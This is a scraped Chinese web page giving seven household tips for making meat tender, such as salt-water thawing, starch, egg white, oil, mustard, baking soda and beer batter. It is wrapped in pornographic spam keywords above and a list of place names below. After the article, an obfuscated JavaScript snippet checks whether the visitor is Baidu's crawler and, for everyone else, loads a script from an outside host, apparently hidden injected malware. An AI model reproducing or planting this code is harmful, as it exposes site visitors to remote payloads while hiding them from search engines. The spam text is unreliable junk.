亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

怎么使肉變嫩?肉類食物怎么做才嫩

2013-04-21 09:27:44  來源:360常識網(wǎng)   熱度:
導(dǎo)語:烹調(diào)肉類時,經(jīng)常會出現(xiàn)做熟的肉依然很硬的現(xiàn)象,尤其是凍肉,口感特別差,不用發(fā)愁,這里360常識網(wǎng)教你幾招小竅門,輕松搞定!怎么使肉變

烹調(diào)肉類時,經(jīng)常會出現(xiàn)做熟的肉依然很硬的現(xiàn)象,尤其是凍肉,口感特別差,不用發(fā)愁,這里360常識網(wǎng)教你幾招小竅門,輕松搞定!

怎么使肉變嫩?肉類食物怎么做才嫩
怎么使肉變嫩?肉類食物怎么做才嫩

肉類食物怎么做才嫩

1、鹽水法

用高濃度鹽水使凍肉解凍,成菜后肉質(zhì)爽嫩。

2、淀粉法

將肉片切好后,加入適量的干淀粉拌勻,靜置30分鐘后下鍋炒,可使肉質(zhì)嫩化,入口不膩。

3、雞蛋清法

在肉片中加入適量雞蛋清攪勻后靜置30分鐘再炒,可使肉質(zhì)鮮嫩潤滑。

4、食油法

炒牛肉絲時,先在切好的肉絲中加入作料,再加入適量食用油拌勻,靜置30分鐘后下鍋,可使肉質(zhì)細嫩。

5、芥末法

煮牛肉時,可在頭天晚上將芥末均勻地涂在牛肉上,煮前用清水洗凈,這樣牛肉易煮爛,且肉質(zhì)鮮嫩。

6、蘇打法

將切好的牛肉片放入小蘇打溶液中浸泡一下再炒,可使肉質(zhì)軟。

7、啤酒法

將肉片用啤酒加干淀粉調(diào)糊掛漿,炒出的肉片鮮嫩爽口。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
舞钢市| 米脂县| 南昌县| 鄢陵县| 龙州县| 桦南县| 桐柏县| 桑植县| 土默特右旗| 隆昌县| 藁城市| 衡水市| 卢湾区| 尤溪县| 漳平市| 龙游县| 蒙山县| 金乡县| 石楼县| 温州市| 汉川市| 临武县| 鹿邑县| 宜春市| 婺源县| 舞钢市| 色达县| 家居| 梅州市| 山西省| 霍邱县| 溧阳市| 青阳县| 乐安县| 长岛县| 高密市| 莒南县| 荥经县| 温泉县| 巩留县| 文昌市|